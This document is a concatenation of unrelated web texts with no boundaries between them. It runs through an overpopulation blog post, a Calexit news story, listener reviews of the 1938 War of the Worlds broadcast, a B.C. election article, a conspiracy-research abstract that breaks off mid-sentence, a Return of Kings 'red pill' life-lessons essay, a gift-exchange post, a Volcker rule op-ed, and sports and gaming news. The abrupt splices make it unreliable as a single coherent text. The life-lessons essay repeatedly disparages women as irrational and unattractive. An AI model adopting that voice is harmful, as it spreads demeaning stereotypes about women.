In 2008, world population is 6.7 billion: 1.2 billion people live in regions classified as more developed by the United Nations; 5.5 billion people reside in less developed regions. “We will likely see the 7 billion mark passed within four years,” said Carl Haub, PRB senior demographer and co-author of this year’s Data Sheet. “And by 2050, global population is projected to rise to 9.3 billion. Between now and mid-century, these diverging growth patterns will boost the population share living in today’s less developed countries from 82 percent to 86 percent.” “The differences between Italy and the Democratic Republic of the Congo illustrate this widening demographic divide,” said Mary Mederios Kent, co-author of this year’s Data Sheet. “On one side are mostly poor countries with high birth rates and low life expectancies. On the other side are mostly wealthy countries with low birth rates and rapid aging.” Worldwide, women now average 2.6 children during their lifetimes, 3.2 in developing countries excluding China, and 4.7 in the least developed countries. Lifetime fertility is highest in sub-Saharan Africa at 5.4 children per woman. In the developed countries, women average 1.6 children. The United States, with an average of 2.1 children, is an exception to this low-fertility pattern in the world’s wealthier countries. [+|2008 World Population Data Sheet]
Interestingly, my perspective is one of a father-to-be. People grasp at straws when it comes to the supposed “irony” of my reproducing vs. my feelings on overpopulation.  What they don’t understand is the process by which this problem is shared by everyone, and that fertility rates are higher in places they have no business being high at all (whereas, in places where fertility rates are low, average resource consumption tends to be high). The overflow comes home to roost in places like Portland, Maine when developed nations provide the aforementioned relief valve for overpopulation, when it would be better to simply reject massive waves of immigrants into towns and cities that not only don’t want it, but certainly don’t need it.
Since our economies are based on the idea of ever-expanding growth, though, we once again hit the wall of social reality and have a hard time saying “no”. The simplicity of Dr. Bartlett and Asimov, among others, states that it’s about time we say no not only to more immigration waves, but consumerism as well. The first step is admitting there’s a problem, as the saying goes, and for society to admit world overpopulation is a concern would be a great first step.
Tags: overpopulation
Please enable JavaScript to view the comments powered by Disqus.California Secretary of State Alex Padilla announced Thursday that a ballot initiative called “California Nation” has been approved by the state to begin collecting signatures to qualify for the 2018 ballot.
The effort is supported by the “Yes California” campaign, an organization that enjoys the support of the Russian government and whose founder, Louis Marinelli, now lives in Russia.
CALIFORNIA: Are you ready to secede from the United States? #Calexit — Yes California (@YesCalifornia) November 9, 2016
Padilla announced that the Attorney General had prepared the following “official title and summary for the measure” (original emphasis):
CALIFORNIA NATIONHOOD. INITIATIVE CONSTITUTIONAL AMENDMENT AND STATUTE. Repeals provision in California Constitution stating California is an inseparable part of the United States and that the United States Constitution is the supreme law of the land. Places question of whether California should become a separate country on a future ballot. Treats result of such future vote as declaration of independence from the United States if 50 percent of registered voters participate and 55 percent of those voting approve. Requires Governor to request California admission to the United Nations if voters approve independence. Summary of estimate by Legislative Analyst and Director of Finance of fiscal impact on state and local government: The fiscal impact of this measure is dependent on various factors, including a vote by the people on this measure, a subsequent vote on California independence, possible legal challenges, and implementation issues. Assuming that California actually became an independent nation, the state and its local governments would experience major, but unknown, budgetary impacts. This measure also would result in tens of millions of dollars of one-time state and local election costs.
The supporters of “California Nation” now have 180 days — i.e. until July 25, 2017 — to gather valid signatures from 585,407 registered voters, 8% of the votes cast for governor in 2014. Otherwise, the measure will not qualify for the ballot.
Joel B. Pollak is Senior Editor-at-Large at Breitbart News. He was named one of the “most influential” people in news media in 2016. His new book, How Trump Won: The Inside Story of a Revolution, is available from Regnery. Follow him on Twitter at @joelpollak.This is the 1938 radio broadcast of Orson Welles "War of the Worlds".
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Reviewer: albert71292_2 - favorite favorite favorite favorite favorite - September 13, 2018
Subject: Sounds better than my cassette This version has the occasional "scratches", which is typical for transcription discs, but it sounds better than the version I ordered on cassette in the late 70's from "National Recording Company" in Illinois. - September 13, 2018Sounds better than my cassette
Reviewer: reddwarf4ever - favorite favorite favorite favorite favorite - December 8, 2015
Subject: Download guide Just right click on the file and chose save file as - December 8, 2015Download guide
Reviewer: el_gallo_azul - favorite favorite favorite favorite favorite - December 7, 2015
Subject: This is quite good After more than 13 years of listening to various genres of podcasts, this is still the one of the best I've ever heard. - December 7, 2015This is quite good
Reviewer: tubular tom - favorite favorite favorite favorite favorite - November 15, 2015
Subject: download options? janlappa, I have the same problem if I click on any of the mp3 options on this or any other Archive page - another window opens and the file will only play in the embedded player. It won't allow me to save it, even after I change the Firefox settings: Tools>Options>Applications>change all the Content Types with MP3 in the name to Save File.
It DOES allow me to change other content types (M3U, Ogg Vorbis) from playing to saving or vice versa. I don't know why MP3 is different. Try this instead. Click on the ZIP option instead. That should allow you to save instead of play.
Unfortunately, for some Archive pages, I have to save the whole zip file, extract what I want, then delete what I don't want instead of only saving what I wanted to begin with. Same thing happens in Internet Explorer. Can anyone else shed some light on this? - November 15, 2015download options?
Reviewer: janlappa - favorite favorite favorite favorite - November 1, 2015
Subject: download options? Great quality! It says "download options" however, and I can't seem to donwload it - just starts playing it. Was hoping to burn it on a cd for my dad. - November 1, 2015download options?
Reviewer: jhentai - favorite favorite favorite favorite favorite - October 21, 2015
Subject: brilliant wonderful! thank you! - October 21, 2015brilliant
Reviewer: Supermoney - favorite favorite favorite favorite - January 12, 2013
Subject: Wow!! All I can say is that this is extraordinary!! The quality is great giving for what they had to work with. I noticed you can also download it from here: http://mp3attic.com/mp3/war_of_the_worlds.html - January 12, 2013Wow!!
Reviewer: Lucy leave 896 - favorite favorite favorite favorite favorite - September 6, 2012
Subject: Legendary recording Try this song about wotw: http://archive.org/details/TheBalladOfOrsonWells - September 6, 2012Legendary recording
Reviewer: Mr&MrsDavies - favorite favorite favorite favorite favorite - October 28, 2011
Subject: Excellent research resource Thank you for making this available, I've just listened to it to provide background for an assignment for my communications course. Mr&MrsDavies -- October 28, 2011Excellent research resource
Reviewer: rek550 - favorite favorite favorite favorite favorite - October 21, 2010
Subject: Help How can I download this broadcast? - October 21, 2010Help
Reviewer: Thomas Dänhardt - favorite favorite favorite favorite favorite - June 16, 2010
Subject: Thankyou TONS This was the very thing I was looking for, thankyou so much for uploading this, this gave me a Really good Retro-Perspective of the '30, and 60 minutes of my life well spend.
It seems totally incredible that this transmission made the entire nation panic, yet I'm not surprised once done hearing it.
Summary:
Perfect Sound Quality, Good Amusement, Draws Your Attetion, Very Interresting, Completely worth the time Spend. - June 16, 2010Thankyou TONS
Reviewer: Lemonpieman - favorite favorite favorite favorite favorite - March 15, 2010
Subject: Incredible Absolutely captivating, couldn't do anything for an hour until this finished. - March 15, 2010Incredible
Reviewer: Samurai_Al - favorite favorite favorite favorite favorite - October 11, 2009
Subject: My two cents The audio quality of this mp3 is perfect. The actual program content was so captivating, I don't recommend trying to listen in your car. This will dominate your attention.
I was planning to test it to see if it would play, and I ended up taking in the entire hour. It stays on my mp3 player now and every once and again I dig it up.
I listen to a lot of old time radio and I have a fair idea of what it may have sounded like to listen to the news in 1938. I'm stunned how close this sounds (most of it) to a news broadcast. I totally understand the mass panic that went along with this programs original airing.
No words can describe this experience. You must listen. - October 11, 2009My two cents
Reviewer: i_d_simpson - favorite favorite favorite favorite favorite - May 10, 2009
Subject: Can't believe it's only been downloaded 6000 times This is brilliant theatre. You have to listen. i_d_simpson -- May 10, 2009Can't believe it's only been downloaded 6000 times
Reviewer: ChefJLo - favorite favorite favorite favorite favorite - March 2, 2009
Subject: Thank You! A little noisy, but it was 60 years ago... - March 2, 2009Thank You!Exactly one week before the May 9 election, Adam Olsen’s campaign office was the busiest storefront in the strip mall on Bevan Road.
B.C. Green Party volunteers were loading up a vehicle with campaign material before Olsen was heading to Salt Spring Island in an effort to get out the vote.
As Olsen is set to begin his interview with Global News, a man walks into his office to tell him “I’m voting for you for the first time.”
“There is nothing easy about running as a B.C. Green, but there’s nothing more freeing,” Olsen said. “We don’t get marching orders from the top. The party has developed a strong platform and it’s about each candidate articulating how that platform applies to their riding.
“You’ve got to earn every vote.”
Olsen may need every vote that comes his way as his riding, Saanich North and the Islands, will likely be one of the closest races in next week’s B.C. election.
In the 2013 election, the top three candidates in the riding finished within 379 votes of each other, making it the closest three-way race in B.C. political history. The NDP’s Gary Holman beat Liberal Stephen Roberts by 163 votes. Olsen finished just 216 votes behind Roberts.
All three candidates have returned in 2017 and believe they stand a fair chance of winning. Olsen has served as the B.C. Greens’ interim leader, which gave him a crash course on the inner workings of the Legislature.
Holman has served as the NDP’s ferry critic, an issue that is important for a riding that is home to the Swartz Bay ferry terminal and the Gulf Islands.
He is also a vocal opponent of the Liberals and says that voters have no choice but to consider voting strategically to unseat Premier Christy Clark.
“When you’re faced with the most corrupt government, the most monied government in Canada, then a strategic vote to get rid of these buggers and change the channel in British Columbia is absolutely valid.”
Roberts, a late entry into the 2013 election, has had four years to increase his profile in a riding that has a long history of voting Liberal.
The race has the makings for one of the most interesting races in the May 9 election. The stakes may be the highest for Olsen and the Greens. Aside from Leader Andrew Weaver, the incumbent in Oak Bay-Gordon Head, Olsen may be the Green Party’s best chance at winning another seat in the Legislature.
List of Green Party promises
If Olsen wins, the Greens could still fall short of the four seats needed for official party status, but it could be the start of a snowball effect where voters in other parts of Vancouver Island, and even the rest of B.C., start to think that supporting the Green Party is no longer a wasted vote.
If enough momentum were to develop over the years, three-way races like the one in Saanich North could become more commonplace.
Are the Greens a threat to the NDP or the Liberals?
UBC political science professor Max Cameron notes that B.C’s first-past-the-post electoral system makes it very hard for third parties to break through.
“What third parties tend to do is affect the election by implementing the distribution of votes between the other two political parties,” he said. “They can often be spoilers.”
READ MORE: Weaver says ‘neither Liberals nor NDP can be trusted with majority government’
Many may think that the Greens, with its eco-conscious ethic, will likely siphon votes from the left-leaning NDP, but candidates in Saanich North said the math isn’t quite that straightforward.
In the 2013 election, the NDP and Liberals both appeared to lose votes to the Greens in Saanich North. The Liberals received 2,768 fewer votes in 2013 than they did in the 2009 election. The NDP got 2,360 fewer votes.
The Greens, meanwhile, saw an increase of nearly 7,000 votes. Olsen notes that some of that gain came not from the two major parties but from disenfranchised voters who had refrained from voting in the past but were motivated to head to the polls to support the Greens.
Roberts acknowledges that the Liberals did lose voters to the Greens in Saanich North but says “now they’re coming back.” The NDP’s Holman said he doesn’t feel like he’s being squeezed by two opponents on opposite ends of the political spectrum. “I don’t actually feel like I’m in the middle with the Greens and Liberals on either side,” Holman said. “I kind of feel like the Greens are in the middle and that’s in fact how they characterize themselves and in fact that’s how they’ve conducted themselves.” “We have Andrew Weaver supporting two budgets, opposing two budgets. When questioned about ‘if you were in a minority government position, which party would you support,’ he wasn’t clear about that. He was conflicted about that.” Holman’s campaign manager Scott Colbourne said Green voters aren’t necessarily easy to pigeon-hole. Full B.C. election coverage Colbourne notes a three-way race can change the dynamics of a campaign and his team has had to adjust accordingly. “I think the Green vote surges early, this is what we’ve learned. There’s an attempt at visibility and then it peels away like an orange peel at the end. That’s exactly what we’re seeing in the last week.” Will strategic voting be a factor? The thought of three parties running neck-and-neck brings up the spectre of strategic voting, which became a topic of conversation during the 2015 federal election. Many who opposed then-Prime Minster Harper argued that voters needed to consider supporting the Liberal or NDP candidate who had the best chance of defeating the Conservative candidate in each riding, whether they actually preferred that candidate or not. Saanich North voters who oppose Premier Christy Clark may have to consider a similar calculus, weighing whether Holman or Olsen is the best bet to deny the Liberals another seat in the Legislature. “To some degree every vote is a strategic vote,” UBC’s Cameron said, adding that there are times in a first-past-the-post system where “you vote for the party that’s not your favourite party.” “You do it because you’re worried that you’re going to be left with the very worst outcome.” Holman says people tired of the Liberals have no choice but to think about vote-splitting, but Olsen argues that voters are tired of the cynicism of strategic voting. “I think actually a lot of people have resented their vote in the past,” he said. “In B.C. we’ve got a culture of voting against [a candidate]. “People are looking for the opportunity to vote for something, rather than against something.”Recent research into the psychology of conspiracy belief has highlighted the importance of belief systems in the acceptance or rejection of conspiracy theories. We examined a large sample of conspiracist (pro-conspiracy-theory) and conventionalist (anti-conspiracy-theory) comments on news websites in order to investigate the relative importance of promoting alternative explanations vs. rejecting conventional explanations for events. In accordance with our hypotheses, we found that conspiracist commenters were more likely to argue against the opposing interpretation and less likely to argue in favor of their own interpretation, while the opposite was true of conventionalist commenters. However, conspiracist comments were more likely to explicitly put forward an account than conventionalist comments were. In addition, conspiracists were more likely to express mistrust and made more positive and fewer negative references to other conspiracy theories. The data also indicate that conspiracists were largely unwilling to apply the "conspiracy theory" label to their own beliefs and objected when others |
way…
Your Past Doesn’t Have to Define Your Future, But Will Affect Your Present
No matter your background or what you’ve been told that you would amount to in life, success or failure is ultimately up to you. I grew up in both lousy home and school environments and was often reminded how I was “bad” and would not amount to anything worthwhile. You can probably guess what happened: I almost failed high school, I was always in trouble, and subconsciously I believed I didn’t “deserve” a meaningful life, much less the far-flung idea of going to college. My lack of confidence hit me hard when it came to social opportunities too.
A turning point in my life was when I was given the straight truth regarding personal decisions. At the encouragement of a friend and paying my own way, I enrolled in a technical school where one of my instructors, after giving me poor marks on a test paper, told me point blank, “If you decide to succeed, you will. If you decide to fail, you’ll do that.”
In a world where so many are looking for an excuse for their failures, I realized he was right. I changed my attitude, put in the effort, and from then on regularly earned honors for my academic achievements. Next stop: a college degree in a good-paying field. I’m now the only person in my family tree with an education like mine and working professionally.
However, I was naïve in thinking it was simply a matter of moving forward. The truth is, what happened in the past (lack of an involved father, an overly strict and negative mother, apathetic teachers, and much more) caused great damage to my self-esteem, confidence, and social skills. My lack of success in life and the girls I dated were a direct reflection of my self-esteem due to my inner shortcomings; yes, another blue-pill beta dating unattractive plain chicks and “accepting” he could do no better. Since that time I’ve made great improvements and realized that while my future is unwritten and looking better, it’s not wise to ignore those things inside which keep us from being whole, solid men.
You can make your life something to be proud of if you so choose. However sometimes we have to look further and address the underlying causes of what brought us to be the way we are with regards to our personal demons; otherwise, we’ll never be the best we can be.
You Snooze, You Lose!
Procrastination is a worthless endeavor. See a woman you want to pursue, but decide “Nah I’ll talk to her next time”? She’s gone when you go back even only two days later. Want to buy that car? It sold yesterday. Found a great job? It’s filled right away. I could go on and on but I think you get the point.
Opportunities can disappear in the blink of an eye. A man has to pursue what he wants, and now. “Once burned, twice learned”; so true!
Life Isn’t Fair; Get Used To It
The truth is, after enough difficulties in life we can suck it up and grow from harsh experiences, or play the victim role (which seems to be becoming the new American way).
Life is simply a bitch sometimes, and life isn’t fair. There will always be someone who has it better than you. There will always be those that never had to work a hard day’s work, never had to really pay their dues in life, and those who never suffered the tragedies you have. Shit will go wrong, and at random times.
The sooner you accept it, the sooner you can adjust your mentality to that of what really defines a strong man and not a boy: tough it out, and survive. Deal with problems and earn your way in life. In the end, you’ll be the man who can survive and you’ll possess an understanding of how the world really works unlike others who’ve not had to pay the same dues. If anything, you’ll possess a drive and character that no one else around you does. Desirable women do not need a momma’s boy who runs to mom when things get hard.
A Man Often Can’t Count On Anyone But Himself; You Have to Be Self-Reliant
Don’t let your success in life be dependent upon assuming you’ll be able to get help. So many times in life I had no one to turn to for my education, to talk about my struggles with, getting started out on my own as an adult, and much, much more. Once I was in Panama and discovered my debit card was missing! I was running out of money and need help fast. It’s hard to describe the sinking feeling when in an emergency situation I contacted those back home who I could have sworn would help me (after helping them many times in the past) only to hear, “I ain’t got no money” and “Sorry man, nothing I can do.” Never again!
Also, I see fewer and fewer men capable of repairing their homes, cars, and fulfilling “manly” tasks. A man who can’t take care of himself isn’t much of a man. Even the greatest handymen started with just trying. To be self-reliant you have to actually try, not just say “I can’t.” For crying out loud you don’t have to be able to swap out a motor in your Honda but I’ve met a number of men who can’t even change a spare tire on a car.
Accept Help From Others Graciously
Being self-reliant and highly independent is great. However, being so independent that you refuse help from others at all times is not. Growing up I had so few instances of getting a helping hand from those around me that I naturally over time prepared for struggling alone in whatever situation I had to face. It became my default thought process.
In time, when allies or more loving, caring people came into my life, I refused their help, and lived to regret it. The lesson learned? Sometimes it’s okay to ask for help; sometimes it’s fine to allow others to help you even when you could do it alone. Good people often feel rewarded for helping, and always refusing for help builds a cold wall between you and people who actually give a damn about you. Don’t become that cold, bitter, anti-social uncle that nobody cares to deal with.
Even If Everyone Says You’re Wrong, It Doesn’t Mean They’re Right: Be Prepared to Stand Your Ground
It comes as no surprise to my fellow RoK readers that American society is permeated with a politically-correct, hyper-sensitive, “groupthink” approach at shaming those who have a voice of dissent in almost any subject.
One of the greatest lessons in life was to find out sometimes that even when you’re fairly certain you’re right, you’ll be attacked for your beliefs. Being pressured and shamed into changing what you believe is manipulation and an attempt to make you conform and submit. In the end, the wise man analyzes whether he is right or wrong, but stands firm in his beliefs when he believes he is right.
It is interesting to see how chinks in our armor are exposed at those moments of attempts at “shaming” or pressure from others. The inclination to give and not “rock the boat” is a strong feeling. By attempting to appease others, you end up gaining nothing and actually lose.
We are here not because we pander to herd mentality but instead because we seek the truth. You will lose friends, acquaintances, and maybe even more when you stand behind your beliefs. That’s the price a man pays sometimes for being his own man. I might get the stink-eye from women near me when I say a plain-looking white chick with average clothing and a rather dull face is unattractive, but I sleep better at night knowing I stood my ground; and my confidence grows a few bits more. No one respects a pushover anyway. Will you submit to others, or be your own man? The choice is yours.
Traveling To a Foreign Country Is Very Valuable
My first trip overseas was in 2003 to Lima, Peru. That experience and others to follow in other Latin countries tremendously benefited me in many ways. Watching kids in the streets selling candy for money, teenage mothers begging for change, and seeing how people in the real world get by without government handouts to prop them up delivered a swift kick in the ass to my American worldview. No longer did I have the right to complain about my life when in fact I have so many opportunities as an American. I no longer can tolerate those who are given so much here and blow it all due to laziness, excuses, and apathy.
My image of what a woman should be was shattered forever as well. The women I have met, known, and been with were much more passionate and feminine. A sexy, loving, and attentive foreign woman is awesome. Going to a disco with a Latina who has a caramel complexion and is wearing tight jeans, colorful top, and huge earrings is a pleasure indeed instead of the frumpy, disorganized plain women back home. It was very eye-opening to see women who didn’t have much money still dress like women and taking value in being sexually attractive to men. Feminism has yet to destroy healthy societal norms in many countries. And foreign women often possess much more traditional values and can be quite loving, valuing men as men.
Learned a little bit of another language? You can get out of the “gringo tourist” label and meet cooler people and enjoy knowing women outside of the sheltered tourist areas. And I’ve made so many more friends here in the USA because I can relate to them and at least can speak with them in their own language some.
Has it been all rainbows and sunshine? No, of course not. I met gold diggers, visa chasers, I got scammed easily the first few times I traveled, got sick several times, and had the usual travel stories where things went wrong. Foreign women can be a handful at times, too, but the overall experience has changed me forever and made me the man I am today.
Once you’ve traveled, you’ll never look at things the same again. When I go out now, I’m well aware that what passes for beauty here is often a sad joke.
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Appearances Matter!
The self-delusional premise of the fat acceptance community – basically a laughable attempt to rewrite human nature – proposes that you can still be sexy and desirable when ugly or otherwise unattractive. This is absolute bullshit.
The truth is, no matter how “ok” I thought I was, or how “wonderful on the inside” a beta I was, in the end I wasn’t my best. I was thin, dressed in whatever lazily-picked ill-fitting clothes I liked, and put no real effort into it.
In mid-2011 I started working out regularly and eating better. In 2013, I began dressing better, wearing better fitting clothes, and throwing on the occasional sport coat. The results have really surprised me. Despite what I thought, appearances make a huge difference in how people respond. Last week 2 women said I was handsome and wanted to give me hugs when I was doing no more than walking through Macy’s in a well-fitting polo shirt that compliments my new physique.
“Expressing your individualism” by wearing an ugly goatee, crappy t-shirts, and bad hair may make you feel like a rebel, but damn sure won’t appeal to the average woman’s desire. Again, success is a choice. And more importantly, my confidence level is up, and it’s easier for me now to open with women.
Another “red pill” truth is that appearances appeal to fundamental human nature—we can’t help what we’re attracted to. A better appearance means better results. Most women respond well to an in-shape, well-dressed man. I found out the hard way that I was not at my best and had far worse results when I didn’t make the effort in those categories.
In a time when obesity and dressing like you’re 15 years old and going to summer camp is more often the norm, being an in-shape, well-dressed man means you’ll stand out and draw attention.
And one more point: wear good cologne. So few men wear cologne at all anymore. Let’s just say the results have been excellent.
Keep Your Emotions Under Control
When you lose control of yourself, you lose control of the situation and lose respect from others. You look like an irrational brat. Now that I’ve swallowed the red pill, I know longer expect women to be logical, rational creatures no matter what they would try to have me believe. And I accept that as I man I have to be the rational, stable individual.
No man should lose himself in his emotions like a woman does. Don’t be a little bitch-going overboard and ranting, being passive-aggressive, and acting like a weak man; this weakens you in the eyes of women. KEEP YOUR FRAME.
Let me be honest, it’s so damn hard for me to keep cool sometimes when someone pushes my buttons, but I keep practicing and have to remember that the path to a stronger male persona won’t allow me to break into a nonsensical fit when slighted. People notice strength, and people notice weakness… especially women.
Sometimes It’s Not How You Are That Matters, It’s How Others Perceive You
Unfortunately this is a lesson that took me time to get. Bad mood? Stressed? Sound unsure of myself when speaking? Not dressed so well? The things that I allow to affect me affect my outward appearance, demeanor, and attitude… and therefore affect my interaction with others.
The truth is, no one really cares how we feel or what’s bothering us. They care about how you make them feel and how you act towards them.
First impressions are incredibly important and others judge us on what they see, hear, and based on smaller clues to our confidence and value as men. Many times when I’ve not put my best effort into social interactions, I’ve later come to find out that it had a negative effect on what they thought of me. My attitude and demeanor cost me.
When not appearing to be 100% confident when speaking, I’ve sometimes seen the change in people’s confidence in me. Very uncomfortable! Get in practice, and put some thought into what you say and the vibe you give off.
Remember, most people want to like you, but you have to give them reasons to. Give off confident, warm, and charismatic vibes and people will feel good and thus feel good about you. Give off a sour mood and keep to yourself, and you’ll be treated accordingly.
Save Your Money (A Man Needs Resources)
Unfortunately my parents had no real money management skills and my father did not save for retirement. They also blew through money received through a lawsuit when I was young. The end results were: no education funds for me, my father having to live on very modest means (social security), and a lack of emergency funds should things go wrong. Social security is something no man should ever let his future well-being depend upon.
When younger I blew my money on expensive electronics, girls, and other things that cost me a lot of potential savings and this limited my ability to travel and enjoy life as well as being prepared for a job loss, etc. Now I regret the lack of self-control and budgeting that I had back then.
While it’s (almost) never too late to start, time is on your side when you’re young. Invest, save, and plan for retirement. Don’t live beyond your means. Don’t blow your money on junk. Don’t spend $60 on a date with a girl who you honestly know inside probably could care less that you busted your ass to earn that money. Don’t make the mistake so many others are making by putting no importance in your future retirement.
So many mistakes I made but I’ve started making corrections and can already see the benefits.
A little bit of money in the bank and you’ll be able to take some time off and get out of Boringville, USA to experience what life has to offer in other countries while Joe Smith back home is in a cubicle day and eating a shitty microwaveable lunch before going home to his chubby wife.
Don’t Believe Everything You Hear. There’s Often More To The Story
Inevitably, almost every time some hot-button, dramatic, or critical issue was presented, whether in a domestic dispute, feminist attention-grabbing headlines, or listening to a friend talk about their breakup, I have learned that there’s almost always more to the story than is being told.
So many times I’ve taken things at face value only to learn later (and feel terrible for it) that the story indeed was not what it was made out to be. People’s lives, reputations, and jobs have been destroyed over “truth” presented this way. Let’s just say I know from personal experience that a woman often has no qualms about playing the victim card when she wants to and can tailor the truth to fit accordingly.
Withholding information is a manipulation tactic used to bias the truth & further the agenda whatever it may be. Unfortunately so many people are gullible and easily taken in.
As the saying goes, “There’s one side, there’s the other, and somewhere in the middle is the truth.”
Enjoy Life While You Can. It Is Short
Take my advice—don’t burn away all your time working or studying. Find time to go places, enjoy life, and enjoy the company of women.
It’s a very hard lesson to learn, but looking back, so many opportunities to simply enjoy life were spent working too much or studying too hard. Those are moments I can’t get back. All work and no play makes Jack a dull, unhappy boy. You deserve to enjoy life. Otherwise, what’s the point?
She’s One In A Million, but She’s One OF a Million. Don’t Destroy Your Life Over One Woman
Ah yes, the Achilles’ heel of so many naïve men-the classic “oneitis”. Feeling and behaving like the woman in your life is the last woman, absolutely pining for her, and tolerating her disrespect and severe flaws is the mark of disaster waiting to happen, and a sign of personal weakness in a man.
I hate to admit it, but I too was afflicted by this. Let’s be honest, the soft-spoken underdog male portrayed in TV and movies is so often the same one who can’t seem to let go of Ms. Average and puts her on a pedestal of epic proportions.
Looking back on my life (including even recently!), I can recollect the results of this mentality and emotional attachment. In the end, I was with a woman who was less than optimal, and ultimately I could have found much better if I tried. I was even married to one and you can imagine what happened there.
Severing the emotional and mental cords that make a man feeling like he’ll die without Princess Wonderful is not easy, but the effort is worth it. When you’re dependent upon one woman so much, you give her more power in the relationship and as so many men do, forgive her fatal flaws that cause others to say “Why do you put up with that?” Remember, Ms. Princess may be “one in a million” in your mind, but she’s one of a million. There’s a world full of women out there, compadre. Swallow the truth.
Listen To Your Instincts
Listen to that inner voice that tells you when something is wrong. When doing so, almost always I’ve found, sooner or later, it was right. Sometimes I couldn’t see what I might have avoided, but it’s an inner ability worth paying attention to. Life is hard enough, so if you get extra clues, take them.
Conclusion
We all will have different experiences, given our different paths in life. However, some basic universal truths, I believe, remain true regardless throughout time. Life won’t always be easy, and sometimes we pay a great price, but at the least we can embrace the value of those hard-earned lessons it presents.
Read Next: Life Lessons From Niccolò MachiavelliSo here I was, assembling an IKEA chair since we just moved into our new place, when the doorbell rings. I go out to see the mailman with a package, and seeing the RedditGifts logo with my name next to it fills me with joy! As I start opening the package I hear meowing, but I thought it was one of our cats, so I look around to see three cats sleeping. Confused, I continue opening my gift. More meowing, and it took me a second to realize this was actually coming from my gift! It couldn't be a kitten, since the box was way too small for that. And I don't think it would've survived anyways. With much anticipation and wonder I quickly open the package, to find a card and three separately packed gifts. One is square and hard, the other one soft and one of them meows when pressed! I open it up to find an emergency meow button, and burst out into laughter, that's such an amazing thing. The second package contained a beautiful and very cute hand sewn heating bag/scarf, the card had instructions on how to fill it with rice and how to heat it. My SS also provided me with a needle and thread so I could sew it shut myself. Thanks so much for that! I get very cold during the winter, and this is a very nice gift! I love it! Finally the other gift contained an "I can has cheezburger" calender for 2012! I needed a new calender anyways, and this one is perfect! When I've assembled my desk (still need to make room for it as well, I'm now on the couch with my laptop) the calender will get a nice spot on there!
Unfortunately my SS remained anonymous (there may have been a name on the package but there were so many postage and customs stickers on it).
Anonymous SS, It may have been your first time at SS, but you did an AWESOME job! I love my gifts!Jamie Dimon's Wall Street peers have good reason to be annoyed with him. Over the past several years, the financial sector spent hundreds of millions of dollars lobbying to weaken bank reform. Then came JPMorgan's multiple-billion-dollar-losing credit default swap blunder. And suddenly, Washington hit the pause button on regulatory rollback. All it took was one reminder of how stupid even the best-run banks can be for everyone to recall that trusting these jokers to act responsibly is a losing game, and, wham, bank regulation was back in the news. Efforts to repeal various parts of the Dodd-Frank bank reform act halted, but more important, pundits and politicians are focusing a brand-new round of attention on the ongoing process of writing the "Volcker rule" into law.
The Volcker rule is supposed to prohibit banks from making speculative bets with their own money on such a scale that they can endanger both the financial viability of the financial institution and the larger economy. The basic principle is simple: Government can't allow banks of the size of JPMorgan to fail because the consequences for the general economy would be too disastrous -- and that gives government the right to shackle the irresponsible tendencies of those banks. Unfortunately, the above-mentioned lobbying campaign had weakened the rule-writing process to the point where JPMorgan's bet would probably have been permissible even after the Volcker rule came into effect.
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As of last week, there's suddenly a pretty widespread consensus among people not employed on or bankrolled by Wall Street that we need to tighten up the Volcker rule. But according to a report by Talking Points Memo's Brian Beutler, this has put the Obama administration in a sticky situation:
The administration hasn’t specified any particular steps it would like regulators to take to shore up the so-called Volcker Rule — a bid perhaps to avoid an ugly public fight with powerful interests in an election year. But inaction — or a too-tepid response to JP Morgan’s losses — will hurt President Obama with key allies, who want to use the debacle to further rein in Wall Street.
Say what? Why on earth would the Obama administration want to "avoid an ugly public fight with powerful interests in an election year"? Shouldn't the opposite be true? Shouldn't the Obama administration be going out of its way to pick a fight with Wall Street? Could there be any better opportunity to tap enduring popular anger at the financial sector and draw a clear line demarcating Obama from his challenger, Mitt Romney?
On Saturday, in Obama's weekly radio address, the president delivered a restrained call to action:
That’s why it’s so important that Members of Congress stand on the side of reform, not against it; because we can’t afford to go back to an era of weak regulation and little oversight; where excessive risk-taking on Wall Street and a lack of basic oversight in Washington nearly destroyed our economy... We’ve got to finish the job of implementing this reform and putting these rules in place.
But that's nowhere near enough. President Obama needs to go back and remind himself how a previous crusader for financial sector regulation made his case when running for his second term as president. Just a few days before Election Day in 1936, Franklin Roosevelt appeared at a rally in Madison Square Garden and delivered a passionate tirade that still jumps right off the page (and YouTube).
We had to struggle with the old enemies of peace — business and financial monopoly, speculation, reckless banking, class antagonism, sectionalism, war profiteering. They had begun to consider the Government of the United States as a mere appendage to their own affairs. We know now that Government by organized money is just as dangerous as Government by organized mob. Never before in all our history have these forces been so united against one candidate as they stand today. They are unanimous in their hate for me — and I welcome their hatred. I should like to have it said of my first Administration that in it the forces of selfishness and of lust for power met their match. I should like to have it said of my second Administration that in it these forces met their master.
That's how you run for reelection, Mr. President, when the "moneyed interests" are backing your opponent. You don't shy away from an "ugly" fight. You embrace it.Getty Images
The brand-new, fixed-roof stadium that supposedly pushes visiting-team crowd noise back to the visiting team’s sideline also is creating some problems for the home team. For the details, let’s defer to the guy who always calls it like he sees it: Vikings guard Alex Boone.
“It’s loud, for some reason, in the stadium,” Boone said, via ESPN.com. “There’s a lot of times where we can’t hear the center. We could barely hear the snap count today a couple times — a couple false starts, because guys wouldn’t know when the snap was going. I’m not saying it’s the fans’ fault, but I’m just saying, it would be nice if they would shut the f–k up a little bit.”
Savvy football fans usually understand the etiquette, but on the first official game at a new stadium against an arch-rival, it’s likely hard to contain their excitement.
“When the defense was up, it was phenomenal,” Boone said in comments provided by the team (comments that didn’t include his four-letter flavor). “When the offense is up, shut up; just shut up. I can’t say it any simpler than that. It’s starting to screw up a little bit.”
Eventually, the Vikings fans will be loud only when they are supposed to be. If not, Boone will remind them.Fallout 4 on Xbox One and PlayStation 4 will soon be able to support modding with players on Xbox One getting mods in May while PlayStation 4 gamers will receive mod support in June, Bethesda has announced.
Official modding for Fallout 4 on PC is also now supported via the Creation Kit which is available to download for free via the Bethesda.net launcher. The creation kit is the same tool that was used to make the game and is available now on PC. More information on Fallout 4 modding is available from the wiki here.
Bethesda has worked to make installing and playing mods easier than ever with players being able to browse, download and install mods from within Fallout 4 by heading to the Mods menu within the game.
